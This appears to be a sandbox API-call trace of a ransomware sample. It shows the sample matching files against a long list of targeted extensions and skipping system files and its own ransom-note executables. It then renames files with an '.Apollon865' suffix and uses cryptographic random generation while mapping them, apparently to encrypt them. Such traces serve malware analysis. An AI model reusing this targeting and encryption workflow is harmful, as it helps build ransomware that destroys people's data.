	[0088.668] lstrlenW (lpString="dbc") returned 3
	[0088.668] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1
	[0088.668] lstrlenW (lpString="dbs") returned 3
	[0088.668] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1
	[0088.668] lstrlenW (lpString="dbt") returned 3
	[0088.668] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1
	[0088.668] lstrlenW (lpString="dbv") returned 3
	[0088.668] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1
	[0088.668] lstrlenW (lpString="dbx") returned 3
	[0088.668] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1
	[0088.668] lstrlenW (lpString="dcb") returned 3
	[0088.668] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1
	[0088.668] lstrlenW (lpString="dct") returned 3
	[0088.669] lstrcmpiW (lpString1="url", lpString2="dct") returned 1
	[0088.669] lstrlenW (lpString="dcx") returned 3
	[0088.669] lstrcmpiW (lpString1="url", lpString2="dcx") returned 1
	[0088.669] lstrlenW (lpString="ddl") returned 3
	[0088.669] lstrcmpiW (lpString1="url", lpString2="ddl") returned 1
	[0088.669] lstrlenW (lpString="dlis") returned 4
	[0088.669] lstrcmpiW (lpString1=".url", lpString2="dlis") returned -1
	[0088.669] lstrlenW (lpString="dp1") returned 3
	[0088.669] lstrcmpiW (lpString1="url", lpString2="dp1") returned 1
	[0088.669] lstrlenW (lpString="dqy") returned 3
	[0088.669] lstrcmpiW (lpString1="url", lpString2="dqy") returned 1
	[0088.669] lstrlenW (lpString="dsk") returned 3
	[0088.669] lstrcmpiW (lpString1="url", lpString2="dsk") returned 1
	[0088.669] lstrlenW (lpString="dsn") returned 3
	[0088.669] lstrcmpiW (lpString1="url", lpString2="dsn") returned 1
	[0088.669] lstrlenW (lpString="dtsx") returned 4
	[0088.669] lstrcmpiW (lpString1=".url", lpString2="dtsx") returned -1
	[0088.669] lstrlenW (lpString="dxl") returned 3
	[0088.669] lstrcmpiW (lpString1="url", lpString2="dxl") returned 1
	[0088.669] lstrlenW (lpString="eco") returned 3
	[0088.669] lstrcmpiW (lpString1="url", lpString2="eco") returned 1
	[0088.669] lstrlenW (lpString="ecx") returned 3
	[0088.669] lstrcmpiW (lpString1="url", lpString2="ecx") returned 1
	[0088.669] lstrlenW (lpString="edb") returned 3
	[0088.669] lstrcmpiW (lpString1="url", lpString2="edb") returned 1
	[0088.669] lstrlenW (lpString="epim") returned 4
	[0088.669] lstrcmpiW (lpString1=".url", lpString2="epim") returned -1
	[0088.669] lstrlenW (lpString="fcd") returned 3
	[0088.669] lstrcmpiW (lpString1="url", lpString2="fcd") returned 1
	[0088.669] lstrlenW (lpString="fdb") returned 3
	[0088.669] lstrcmpiW (lpString1="url", lpString2="fdb") returned 1
	[0088.669] lstrlenW (lpString="fic") returned 3
	[0088.669] lstrcmpiW (lpString1="url", lpString2="fic") returned 1
	[0088.669] lstrlenW (lpString="flexolibrary") returned 12
	[0088.669] lstrcmpiW (lpString1="tainment.url", lpString2="flexolibrary") returned 1
	[0088.669] lstrlenW (lpString="fm5") returned 3
	[0088.669] lstrcmpiW (lpString1="url", lpString2="fm5") returned 1
	[0088.669] lstrlenW (lpString="fmp") returned 3
	[0088.670] lstrcmpiW (lpString1="url", lpString2="fmp") returned 1
	[0088.670] lstrlenW (lpString="fmp12") returned 5
	[0088.670] lstrcmpiW (lpString1="t.url", lpString2="fmp12") returned 1
	[0088.670] lstrlenW (lpString="fmpsl") returned 5
	[0088.670] lstrcmpiW (lpString1="t.url", lpString2="fmpsl") returned 1
	[0088.670] lstrlenW (lpString="fol") returned 3
	[0088.670] lstrcmpiW (lpString1="url", lpString2="fol") returned 1
	[0088.670] lstrlenW (lpString="fp3") returned 3
	[0088.670] lstrcmpiW (lpString1="url", lpString2="fp3") returned 1
	[0088.670] lstrlenW (lpString="fp4") returned 3
	[0088.670] lstrcmpiW (lpString1="url", lpString2="fp4") returned 1
	[0088.670] lstrlenW (lpString="fp5") returned 3
	[0088.670] lstrcmpiW (lpString1="url", lpString2="fp5") returned 1
	[0088.670] lstrlenW (lpString="fp7") returned 3
	[0088.670] lstrcmpiW (lpString1="url", lpString2="fp7") returned 1
	[0088.670] lstrlenW (lpString="fpt") returned 3
	[0088.670] lstrcmpiW (lpString1="url", lpString2="fpt") returned 1
	[0088.670] lstrlenW (lpString="frm") returned 3
	[0088.670] lstrcmpiW (lpString1="url", lpString2="frm") returned 1
	[0088.670] lstrlenW (lpString="gdb") returned 3
	[0088.670] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0088.670] lstrlenW (lpString="gdb") returned 3
	[0088.670] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0088.670] lstrlenW (lpString="grdb") returned 4
	[0088.670] lstrcmpiW (lpString1=".url", lpString2="grdb") returned -1
	[0088.670] lstrlenW (lpString="gwi") returned 3
	[0088.670] lstrcmpiW (lpString1="url", lpString2="gwi") returned 1
	[0088.670] lstrlenW (lpString="hdb") returned 3
	[0088.670] lstrcmpiW (lpString1="url", lpString2="hdb") returned 1
	[0088.670] lstrlenW (lpString="his") returned 3
	[0088.670] lstrcmpiW (lpString1="url", lpString2="his") returned 1
	[0088.670] lstrlenW (lpString="ib") returned 2
	[0088.670] lstrcmpiW (lpString1="rl", lpString2="ib") returned 1
	[0088.670] lstrlenW (lpString="idb") returned 3
	[0088.670] lstrcmpiW (lpString1="url", lpString2="idb") returned 1
	[0088.670] lstrlenW (lpString="ihx") returned 3
	[0088.670] lstrcmpiW (lpString1="url", lpString2="ihx") returned 1
	[0088.670] lstrlenW (lpString="itdb") returned 4
	[0088.671] lstrcmpiW (lpString1=".url", lpString2="itdb") returned -1
	[0088.671] lstrlenW (lpString="itw") returned 3
	[0088.671] lstrcmpiW (lpString1="url", lpString2="itw") returned 1
	[0088.671] lstrlenW (lpString="jet") returned 3
	[0088.671] lstrcmpiW (lpString1="url", lpString2="jet") returned 1
	[0088.671] lstrlenW (lpString="jtx") returned 3
	[0088.671] lstrcmpiW (lpString1="url", lpString2="jtx") returned 1
	[0088.671] lstrlenW (lpString="kdb") returned 3
	[0088.671] lstrcmpiW (lpString1="url", lpString2="kdb") returned 1
	[0088.671] lstrlenW (lpString="kexi") returned 4
	[0088.671] lstrcmpiW (lpString1=".url", lpString2="kexi") returned -1
	[0088.671] lstrlenW (lpString="kexic") returned 5
	[0088.671] lstrcmpiW (lpString1="t.url", lpString2="kexic") returned 1
	[0088.671] lstrlenW (lpString="kexis") returned 5
	[0088.671] lstrcmpiW (lpString1="t.url", lpString2="kexis") returned 1
	[0088.671] lstrlenW (lpString="lgc") returned 3
	[0088.671] lstrcmpiW (lpString1="url", lpString2="lgc") returned 1
	[0088.671] lstrlenW (lpString="lwx") returned 3
	[0088.671] lstrcmpiW (lpString1="url", lpString2="lwx") returned 1
	[0088.671] lstrlenW (lpString="maf") returned 3
	[0088.671] lstrcmpiW (lpString1="url", lpString2="maf") returned 1
	[0088.671] lstrlenW (lpString="maq") returned 3
	[0088.671] lstrcmpiW (lpString1="url", lpString2="maq") returned 1
	[0088.671] lstrlenW (lpString="mar") returned 3
	[0088.671] lstrcmpiW (lpString1="url", lpString2="mar") returned 1
	[0088.671] lstrlenW (lpString="marshal") returned 7
	[0088.671] lstrcmpiW (lpString1="ent.url", lpString2="marshal") returned -1
	[0088.671] lstrlenW (lpString="mas") returned 3
	[0088.671] lstrcmpiW (lpString1="url", lpString2="mas") returned 1
	[0088.671] lstrlenW (lpString="mav") returned 3
	[0088.671] lstrcmpiW (lpString1="url", lpString2="mav") returned 1
	[0088.671] lstrlenW (lpString="maw") returned 3
	[0088.671] lstrcmpiW (lpString1="url", lpString2="maw") returned 1
	[0088.672] lstrlenW (lpString="mdbhtml") returned 7
	[0088.672] lstrcmpiW (lpString1="ent.url", lpString2="mdbhtml") returned -1
	[0088.672] lstrlenW (lpString="mdn") returned 3
	[0088.672] lstrcmpiW (lpString1="url", lpString2="mdn") returned 1
	[0088.672] lstrlenW (lpString="mdt") returned 3
	[0088.672] lstrcmpiW (lpString1="url", lpString2="mdt") returned 1
	[0088.672] lstrlenW (lpString="mfd") returned 3
	[0088.672] lstrcmpiW (lpString1="url", lpString2="mfd") returned 1
	[0088.672] lstrlenW (lpString="mpd") returned 3
	[0088.672] lstrcmpiW (lpString1="url", lpString2="mpd") returned 1
	[0088.672] lstrlenW (lpString="mrg") returned 3
	[0088.672] lstrcmpiW (lpString1="url", lpString2="mrg") returned 1
	[0088.672] lstrlenW (lpString="mud") returned 3
	[0088.672] lstrcmpiW (lpString1="url", lpString2="mud") returned 1
	[0088.672] lstrlenW (lpString="mwb") returned 3
	[0088.672] lstrcmpiW (lpString1="url", lpString2="mwb") returned 1
	[0088.672] lstrlenW (lpString="myd") returned 3
	[0088.672] lstrcmpiW (lpString1="url", lpString2="myd") returned 1
	[0088.672] lstrlenW (lpString="ndf") returned 3
	[0088.672] lstrcmpiW (lpString1="url", lpString2="ndf") returned 1
	[0088.672] lstrlenW (lpString="nnt") returned 3
	[0088.672] lstrcmpiW (lpString1="url", lpString2="nnt") returned 1
	[0088.672] lstrlenW (lpString="nrmlib") returned 6
	[0088.672] lstrcmpiW (lpString1="nt.url", lpString2="nrmlib") returned 1
	[0088.672] lstrlenW (lpString="ns2") returned 3
	[0088.672] lstrcmpiW (lpString1="url", lpString2="ns2") returned 1
	[0088.672] lstrlenW (lpString="ns3") returned 3
	[0088.672] lstrcmpiW (lpString1="url", lpString2="ns3") returned 1
	[0088.672] lstrlenW (lpString="ns4") returned 3
	[0088.672] lstrcmpiW (lpString1="url", lpString2="ns4") returned 1
	[0088.672] lstrlenW (lpString="nsf") returned 3
	[0088.672] lstrcmpiW (lpString1="url", lpString2="nsf") returned 1
	[0088.672] lstrlenW (lpString="nv") returned 2
	[0088.672] lstrcmpiW (lpString1="rl", lpString2="nv") returned 1
	[0088.672] lstrlenW (lpString="nv2") returned 3
	[0088.672] lstrcmpiW (lpString1="url", lpString2="nv2") returned 1
	[0088.672] lstrlenW (lpString="nwdb") returned 4
	[0088.672] lstrcmpiW (lpString1=".url", lpString2="nwdb") returned -1
	[0088.673] lstrlenW (lpString="nyf") returned 3
	[0088.673] lstrcmpiW (lpString1="url", lpString2="nyf") returned 1
	[0088.673] lstrlenW (lpString="odb") returned 3
	[0088.673] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0088.673] lstrlenW (lpString="odb") returned 3
	[0088.673] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0088.673] lstrlenW (lpString="oqy") returned 3
	[0088.673] lstrcmpiW (lpString1="url", lpString2="oqy") returned 1
	[0088.673] lstrlenW (lpString="ora") returned 3
	[0088.673] lstrcmpiW (lpString1="url", lpString2="ora") returned 1
	[0088.673] lstrlenW (lpString="orx") returned 3
	[0088.673] lstrcmpiW (lpString1="url", lpString2="orx") returned 1
	[0088.673] lstrlenW (lpString="owc") returned 3
	[0088.673] lstrcmpiW (lpString1="url", lpString2="owc") returned 1
	[0088.673] lstrlenW (lpString="p96") returned 3
	[0088.673] lstrcmpiW (lpString1="url", lpString2="p96") returned 1
	[0088.673] lstrlenW (lpString="p97") returned 3
	[0088.673] lstrcmpiW (lpString1="url", lpString2="p97") returned 1
	[0088.673] lstrlenW (lpString="pan") returned 3
	[0088.673] lstrcmpiW (lpString1="url", lpString2="pan") returned 1
	[0088.673] lstrlenW (lpString="pdb") returned 3
	[0088.673] lstrcmpiW (lpString1="url", lpString2="pdb") returned 1
	[0088.673] lstrlenW (lpString="pdm") returned 3
	[0088.673] lstrcmpiW (lpString1="url", lpString2="pdm") returned 1
	[0088.673] lstrlenW (lpString="pnz") returned 3
	[0088.673] lstrcmpiW (lpString1="url", lpString2="pnz") returned 1
	[0088.673] lstrlenW (lpString="qry") returned 3
	[0088.673] lstrcmpiW (lpString1="url", lpString2="qry") returned 1
	[0088.673] lstrlenW (lpString="qvd") returned 3
	[0088.673] lstrcmpiW (lpString1="url", lpString2="qvd") returned 1
	[0088.673] lstrlenW (lpString="rbf") returned 3
	[0088.673] lstrcmpiW (lpString1="url", lpString2="rbf") returned 1
	[0088.673] lstrlenW (lpString="rctd") returned 4
	[0088.673] lstrcmpiW (lpString1=".url", lpString2="rctd") returned -1
	[0088.673] lstrlenW (lpString="rod") returned 3
	[0088.673] lstrcmpiW (lpString1="url", lpString2="rod") returned 1
	[0088.673] lstrlenW (lpString="rodx") returned 4
	[0088.673] lstrcmpiW (lpString1=".url", lpString2="rodx") returned -1
	[0088.674] lstrlenW (lpString="rpd") returned 3
	[0088.674] lstrcmpiW (lpString1="url", lpString2="rpd") returned 1
	[0088.674] lstrlenW (lpString="rsd") returned 3
	[0088.674] lstrcmpiW (lpString1="url", lpString2="rsd") returned 1
	[0088.674] lstrlenW (lpString="sas7bdat") returned 8
	[0088.674] lstrcmpiW (lpString1="ment.url", lpString2="sas7bdat") returned -1
	[0088.674] lstrlenW (lpString="sbf") returned 3
	[0088.674] lstrcmpiW (lpString1="url", lpString2="sbf") returned 1
	[0088.674] lstrlenW (lpString="scx") returned 3
	[0088.674] lstrcmpiW (lpString1="url", lpString2="scx") returned 1
	[0088.674] lstrlenW (lpString="sdb") returned 3
	[0088.674] lstrcmpiW (lpString1="url", lpString2="sdb") returned 1
	[0088.674] lstrlenW (lpString="sdc") returned 3
	[0088.674] lstrcmpiW (lpString1="url", lpString2="sdc") returned 1
	[0088.674] lstrlenW (lpString="sdf") returned 3
	[0088.674] lstrcmpiW (lpString1="url", lpString2="sdf") returned 1
	[0088.674] lstrlenW (lpString="sis") returned 3
	[0088.674] lstrcmpiW (lpString1="url", lpString2="sis") returned 1
	[0088.674] lstrlenW (lpString="spq") returned 3
	[0088.674] lstrcmpiW (lpString1="url", lpString2="spq") returned 1
	[0088.674] lstrlenW (lpString="te") returned 2
	[0088.674] lstrcmpiW (lpString1="rl", lpString2="te") returned -1
	[0088.674] lstrlenW (lpString="teacher") returned 7
	[0088.674] lstrcmpiW (lpString1="ent.url", lpString2="teacher") returned -1
	[0088.674] lstrlenW (lpString="tmd") returned 3
	[0088.674] lstrcmpiW (lpString1="url", lpString2="tmd") returned 1
	[0088.674] lstrlenW (lpString="tps") returned 3
	[0088.674] lstrcmpiW (lpString1="url", lpString2="tps") returned 1
	[0088.674] lstrlenW (lpString="trc") returned 3
	[0088.674] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0088.674] lstrlenW (lpString="trc") returned 3
	[0088.674] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0088.674] lstrlenW (lpString="trm") returned 3
	[0088.674] lstrcmpiW (lpString1="url", lpString2="trm") returned 1
	[0088.674] lstrlenW (lpString="udb") returned 3
	[0088.674] lstrcmpiW (lpString1="url", lpString2="udb") returned 1
	[0088.674] lstrlenW (lpString="udl") returned 3
	[0088.674] lstrcmpiW (lpString1="url", lpString2="udl") returned 1
	[0088.675] lstrlenW (lpString="usr") returned 3
	[0088.675] lstrcmpiW (lpString1="url", lpString2="usr") returned -1
	[0088.675] lstrlenW (lpString="v12") returned 3
	[0088.675] lstrcmpiW (lpString1="url", lpString2="v12") returned -1
	[0088.675] lstrlenW (lpString="vis") returned 3
	[0088.675] lstrcmpiW (lpString1="url", lpString2="vis") returned -1
	[0088.675] lstrlenW (lpString="vpd") returned 3
	[0088.675] lstrcmpiW (lpString1="url", lpString2="vpd") returned -1
	[0088.675] lstrlenW (lpString="vvv") returned 3
	[0088.675] lstrcmpiW (lpString1="url", lpString2="vvv") returned -1
	[0088.675] lstrlenW (lpString="wdb") returned 3
	[0088.675] lstrcmpiW (lpString1="url", lpString2="wdb") returned -1
	[0088.675] lstrlenW (lpString="wmdb") returned 4
	[0088.675] lstrcmpiW (lpString1=".url", lpString2="wmdb") returned -1
	[0088.675] lstrlenW (lpString="wrk") returned 3
	[0088.675] lstrcmpiW (lpString1="url", lpString2="wrk") returned -1
	[0088.675] lstrlenW (lpString="xdb") returned 3
	[0088.675] lstrcmpiW (lpString1="url", lpString2="xdb") returned -1
	[0088.675] lstrlenW (lpString="xld") returned 3
	[0088.675] lstrcmpiW (lpString1="url", lpString2="xld") returned -1
	[0088.675] lstrlenW (lpString="xmlff") returned 5
	[0088.675] lstrcmpiW (lpString1="t.url", lpString2="xmlff") returned -1
	[0088.675] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url.Apollon865") returned 85
	[0088.675] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url.apollon865"), dwFlags=0x1) returned 1
	[0088.677] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.677] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=133) returned 1
	[0088.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.678] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.678] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0088.678] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0088.679] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.679] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.679] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x15c
	[0088.681] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000
	[0088.681] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0088.682] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.682] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.682] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.682] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.682] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.682] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.682] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.682] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.682] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0088.683] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.683] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0088.683] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.683] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.683] CloseHandle (hObject=0x15c) returned 1
	[0088.683] CloseHandle (hObject=0x9c) returned 1
	[0088.683] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.683] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0088.683] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.683] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1
	[0088.683] lstrcmpiW (lpString1="MSN Money.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0088.683] lstrcmpiW (lpString1="MSN Money.url", lpString2="Apollon865.txt.exe") returned 1
	[0088.683] lstrcmpiW (lpString1="MSN Money.url", lpString2=".") returned 1
	[0088.683] lstrcmpiW (lpString1="MSN Money.url", lpString2="..") returned 1
	[0088.683] lstrcmpiW (lpString1="MSN Money.url", lpString2="windows") returned -1
	[0088.683] lstrcmpiW (lpString1="MSN Money.url", lpString2="bootmgr") returned 1
	[0088.683] lstrcmpiW (lpString1="MSN Money.url", lpString2="temp") returned -1
	[0088.683] lstrcmpiW (lpString1="MSN Money.url", lpString2="pagefile.sys") returned -1
	[0088.683] lstrcmpiW (lpString1="MSN Money.url", lpString2="boot") returned 1
	[0088.683] lstrcmpiW (lpString1="MSN Money.url", lpString2="ids.txt") returned 1
	[0088.684] lstrcmpiW (lpString1="MSN Money.url", lpString2="ntuser.dat") returned -1
	[0088.684] lstrcmpiW (lpString1="MSN Money.url", lpString2="perflogs") returned -1
	[0088.684] lstrcmpiW (lpString1="MSN Money.url", lpString2="MSBuild") returned 1
	[0088.684] lstrlenW (lpString="MSN Money.url") returned 13
	[0088.684] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url") returned 74
	[0088.684] lstrcpyW (in: lpString1=0x119e672, lpString2="MSN Money.url" | out: lpString1="MSN Money.url") returned="MSN Money.url"
	[0088.684] lstrlenW (lpString="MSN Money.url") returned 13
	[0088.684] lstrlenW (lpString="Apollon865") returned 10
	[0088.684] lstrcmpiW (lpString1=" Money.url", lpString2="Apollon865") returned -1
	[0088.684] lstrlenW (lpString=".dll") returned 4
	[0088.684] lstrcmpiW (lpString1="MSN Money.url", lpString2=".dll") returned 1
	[0088.684] lstrlenW (lpString=".lnk") returned 4
	[0088.684] lstrcmpiW (lpString1="MSN Money.url", lpString2=".lnk") returned 1
	[0088.684] lstrlenW (lpString=".ini") returned 4
	[0088.684] lstrcmpiW (lpString1="MSN Money.url", lpString2=".ini") returned 1
	[0088.684] lstrlenW (lpString=".sys") returned 4
	[0088.684] lstrcmpiW (lpString1="MSN Money.url", lpString2=".sys") returned 1
	[0088.684] lstrlenW (lpString="MSN Money.url") returned 13
	[0088.684] lstrlenW (lpString="bak") returned 3
	[0088.684] lstrcmpiW (lpString1="url", lpString2="bak") returned 1
	[0088.684] lstrlenW (lpString="ba_") returned 3
	[0088.684] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1
	[0088.684] lstrlenW (lpString="dbb") returned 3
	[0088.684] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1
	[0088.684] lstrlenW (lpString="vmdk") returned 4
	[0088.684] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1
	[0088.684] lstrlenW (lpString="rar") returned 3
	[0088.684] lstrcmpiW (lpString1="url", lpString2="rar") returned 1
	[0088.684] lstrlenW (lpString="zip") returned 3
	[0088.684] lstrcmpiW (lpString1="url", lpString2="zip") returned -1
	[0088.684] lstrlenW (lpString="tgz") returned 3
	[0088.684] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1
	[0088.684] lstrlenW (lpString="vbox") returned 4
	[0088.684] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1
	[0088.684] lstrlenW (lpString="vdi") returned 3
	[0088.684] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1
	[0088.684] lstrlenW (lpString="vhd") returned 3
	[0088.685] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1
	[0088.685] lstrlenW (lpString="vhdx") returned 4
	[0088.685] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1
	[0088.685] lstrlenW (lpString="avhd") returned 4
	[0088.685] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1
	[0088.685] lstrlenW (lpString="db") returned 2
	[0088.685] lstrcmpiW (lpString1="rl", lpString2="db") returned 1
	[0088.685] lstrlenW (lpString="db2") returned 3
	[0088.685] lstrcmpiW (lpString1="url", lpString2="db2") returned 1
	[0088.685] lstrlenW (lpString="db3") returned 3
	[0088.685] lstrcmpiW (lpString1="url", lpString2="db3") returned 1
	[0088.685] lstrlenW (lpString="dbf") returned 3
	[0088.685] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1
	[0088.685] lstrlenW (lpString="mdf") returned 3
	[0088.685] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1
	[0088.685] lstrlenW (lpString="mdb") returned 3
	[0088.685] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1
	[0088.685] lstrlenW (lpString="sql") returned 3
	[0088.685] lstrcmpiW (lpString1="url", lpString2="sql") returned 1
	[0088.685] lstrlenW (lpString="sqlite") returned 6
	[0088.685] lstrcmpiW (lpString1="ey.url", lpString2="sqlite") returned -1
	[0088.685] lstrlenW (lpString="sqlite3") returned 7
	[0088.685] lstrcmpiW (lpString1="ney.url", lpString2="sqlite3") returned -1
	[0088.685] lstrlenW (lpString="sqlitedb") returned 8
	[0088.685] lstrcmpiW (lpString1="oney.url", lpString2="sqlitedb") returned -1
	[0088.685] lstrlenW (lpString="xml") returned 3
	[0088.685] lstrcmpiW (lpString1="url", lpString2="xml") returned -1
	[0088.685] lstrlenW (lpString="$er") returned 3
	[0088.685] lstrcmpiW (lpString1="url", lpString2="$er") returned 1
	[0088.685] lstrlenW (lpString="4dd") returned 3
	[0088.685] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1
	[0088.685] lstrlenW (lpString="4dl") returned 3
	[0088.685] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1
	[0088.685] lstrlenW (lpString="^^^") returned 3
	[0088.685] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1
	[0088.685] lstrlenW (lpString="abs") returned 3
	[0088.685] lstrcmpiW (lpString1="url", lpString2="abs") returned 1
	[0088.685] lstrlenW (lpString="abx") returned 3
	[0088.686] lstrcmpiW (lpString1="url", lpString2="abx") returned 1
	[0088.686] lstrlenW (lpString="accdb") returned 5
	[0088.686] lstrcmpiW (lpString1="y.url", lpString2="accdb") returned 1
	[0088.686] lstrlenW (lpString="accdc") returned 5
	[0088.686] lstrcmpiW (lpString1="y.url", lpString2="accdc") returned 1
	[0088.686] lstrlenW (lpString="accde") returned 5
	[0088.686] lstrcmpiW (lpString1="y.url", lpString2="accde") returned 1
	[0088.686] lstrlenW (lpString="accdr") returned 5
	[0088.686] lstrcmpiW (lpString1="y.url", lpString2="accdr") returned 1
	[0088.686] lstrlenW (lpString="accdt") returned 5
	[0088.686] lstrcmpiW (lpString1="y.url", lpString2="accdt") returned 1
	[0088.686] lstrlenW (lpString="accdw") returned 5
	[0088.686] lstrcmpiW (lpString1="y.url", lpString2="accdw") returned 1
	[0088.686] lstrlenW (lpString="accft") returned 5
	[0088.686] lstrcmpiW (lpString1="y.url", lpString2="accft") returned 1
	[0088.686] lstrlenW (lpString="adb") returned 3
	[0088.686] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0088.686] lstrlenW (lpString="adb") returned 3
	[0088.686] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0088.686] lstrlenW (lpString="ade") returned 3
	[0088.686] lstrcmpiW (lpString1="url", lpString2="ade") returned 1
	[0088.686] lstrlenW (lpString="adf") returned 3
	[0088.686] lstrcmpiW (lpString1="url", lpString2="adf") returned 1
	[0088.686] lstrlenW (lpString="adn") returned 3
	[0088.686] lstrcmpiW (lpString1="url", lpString2="adn") returned 1
	[0088.686] lstrlenW (lpString="adp") returned 3
	[0088.686] lstrcmpiW (lpString1="url", lpString2="adp") returned 1
	[0088.686] lstrlenW (lpString="alf") returned 3
	[0088.686] lstrcmpiW (lpString1="url", lpString2="alf") returned 1
	[0088.686] lstrlenW (lpString="ask") returned 3
	[0088.687] lstrcmpiW (lpString1="url", lpString2="ask") returned 1
	[0088.687] lstrlenW (lpString="btr") returned 3
	[0088.687] lstrcmpiW (lpString1="url", lpString2="btr") returned 1
